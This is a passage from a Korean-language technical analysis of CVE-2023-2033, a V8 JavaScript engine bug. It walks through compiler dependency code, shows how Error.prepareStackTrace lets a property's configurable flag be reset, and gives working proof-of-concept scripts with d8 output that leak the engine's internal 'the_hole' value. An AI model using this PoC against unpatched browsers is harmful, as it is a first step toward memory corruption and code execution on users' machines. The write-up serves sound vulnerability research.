// because the first iteration above might have invalidated some
// dependencies. For example, PrototypePropertyDependency::PrepareInstall
// can call EnsureHasInitialMap, which can invalidate a
// StableMapDependency on the prototype object's map.
if (!dep->IsValid(broker_)) {
if (v8_flags.trace_compilation_dependencies) {
TraceInvalidCompilationDependency(broker_, dep);
}
dependencies_.clear();
return false;
}
dep->Install(broker_, &pending_deps);
}
pending_deps.InstallAll(broker_->isolate(), code);
}
...
CompilationDependencies::Commit()
에서 dep->IsValid(broker_)
가 true
이면 dep->Install()
을 호출하고,
/* v8/src/compiler/compilation-dependencies.cc */
void Install(JSHeapBroker* broker, PendingDependencies* deps) const override {
SLOW_DCHECK(IsValid(broker));
deps->Register(cell_.object(), DependentCode::kPropertyCellChangedGroup);
}
Install()
에서 DependencyGroup
을 kPropertyCellChangedGroup
으로 설정합니다.
결론적으로, gvar
의 configurable
을 false
로 설정하여 ReadOnly
로 만들면 deoptimization이 진행되지 않습니다. 그런데 문제는 configurable
을 false
로 설정하고 나면 일반적인 방법으로는 gvar
를 삭제할 수 없다는 것입니다.
Change configurable from false to true
Error.prepareStackTrace()
가 정의된 상태에서 Object.defineProperty()
로 stack
을 수정하려고 할 때의 실행 흐름을 다음과 같이 파악할 수 있습니다.
/* test.js */
Error.captureStackTrace(globalThis);
Error.prepareStackTrace = () => {
console.log(JSON.stringify(Object.getOwnPropertyDescriptor(globalThis, 'stack')));
}
Object.defineProperty(globalThis, 'stack', { value: 1, writable: false, enumerable: true, configurable: false });
console.log(JSON.stringify(Object.getOwnPropertyDescriptor(globalThis, 'stack')));
$ ~/v8/v8/out/debug/d8 test.js
{"value":"Error\n at test.js:3:7","writable":true,"enumerable":false,"configurable":true}
{"value":1,"writable":false,"enumerable":true,"configurable":false}
Object.defineProperty()
에서 먼저 stack
에 접근하여 Error.prepareStackTrace()
가 호출되고, 그 다음에 수정 작업을 처리하는 것을 확인할 수 있습니다.
이를 응용하면,
/* test.js */
Error.captureStackTrace(globalThis);
Error.prepareStackTrace = () => {
Object.defineProperty(globalThis, 'stack', { configurable: false });
console.log(JSON.stringify(Object.getOwnPropertyDescriptor(globalThis, 'stack')));
}
Object.defineProperty(globalThis, 'stack', { value: 1, configurable: true });
console.log(JSON.stringify(Object.getOwnPropertyDescriptor(globalThis, 'stack')));
$ ~/v8/v8/out/debug/d8 test.js
{"value":"Error\n at test.js:3:7","writable":true,"enumerable":false,"configurable":false}
{"value":1,"writable":true,"enumerable":false,"configurable":true}
Property의 configurable
을 false
로 설정했다가 다시 true
로 만들 수 있습니다. 이는 일반적으로는 불가능한 동작이며, 이 취약점에서 핵심적인 부분입니다.
Leak the_hole
위의 내용들을 종합하여 다음과 같은 PoC를 작성할 수 있습니다.
/* poc.js */
function load_stack() {
let a = stack;
return a;
}
Error.captureStackTrace(globalThis);
Error.prepareStackTrace = () => {
delete stack;
Object.defineProperty(globalThis, 'stack', { value: 1, writable: true }); // configurable: false
stack = {}; // cell_type == kMutable
% PrepareFunctionForOptimization(load_stack);
load_stack();
% OptimizeFunctionOnNextCall(load_stack);
load_stack();
}
Object.defineProperty(globalThis, 'stack', { value: 1, configurable: true });
delete stack;
let hole = load_stack(); // the_hole
% DebugPrint(hole);
configurable
을 false
로 설정하기 전에 delete stack
을 추가한 이유는, Error.captureStackTrace()
에서 생성된 stack
은 AccessorInfo
이므로 JSNativeContextSpecialization::ReduceGlobalAccess()
에서 처리하지 않기 때문입니다. stack
을 삭제하면 Object.defineProperty()
가 바로 다시 정의하는데, 이때 생성된 stack
은 일반적인 JSGlobalObject
의 property가 됩니다.
$ ~/v8/v8/out/debug/d8 poc.js --allow-natives-syntax
DebugPrint: 0x14d80000026d: [Oddball] in ReadOnlySpace: #hole
0x14d8000001a1: [Map] in ReadOnlySpace
- type: ODDBALL_TYPE
- instance size: 28
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x14d800000251 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x14d800000295 <DescriptorArray[0]>
- prototype: 0x14d800000235 <null>
- constructor: 0x14d800000235 <null>
- dependent code: 0x14d800000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
Native syntax를 사용하지 않고 다음과 같이 작성할 수 있습니다.
/* poc.js */
function load_stack() {
let a = stack;
return a;
}
Error.captureStackTrace(globalThis);
Error.prepareStackTrace = () => {
delete stack;
Object.defineProperty(globalThis, 'stack', { value: 1, writable: true }); // configurable: false
stack = {}; // cell_type == kMutable
for (let i = 0; i < 0x10000; i++) { load_stack(); } // optimization
}
Object.defineProperty(globalThis, 'stack', { value: 1, configurable: true });
delete stack;
let hole = load_stack(); // the_hole
console.log(hole);
$ ~/v8/v8/out/debug/d8 poc.js
hole
References
- CVE-2023-2033 - NVD
- Object.getOwnPropertyDescriptors() - MDN web docs
- Object.getOwnPropertyDescriptor() - MDN web docs
- Object.defineProperty() - MDN web docs
- Proxy - MDN web docs
- Issue 1432210: Security: [0-day] JIT optimisation issue - crbug
- fa81078cca6964def7a3833704e0dba7b05065d8 - v8/v8.git
- Stack trace API - V8 docs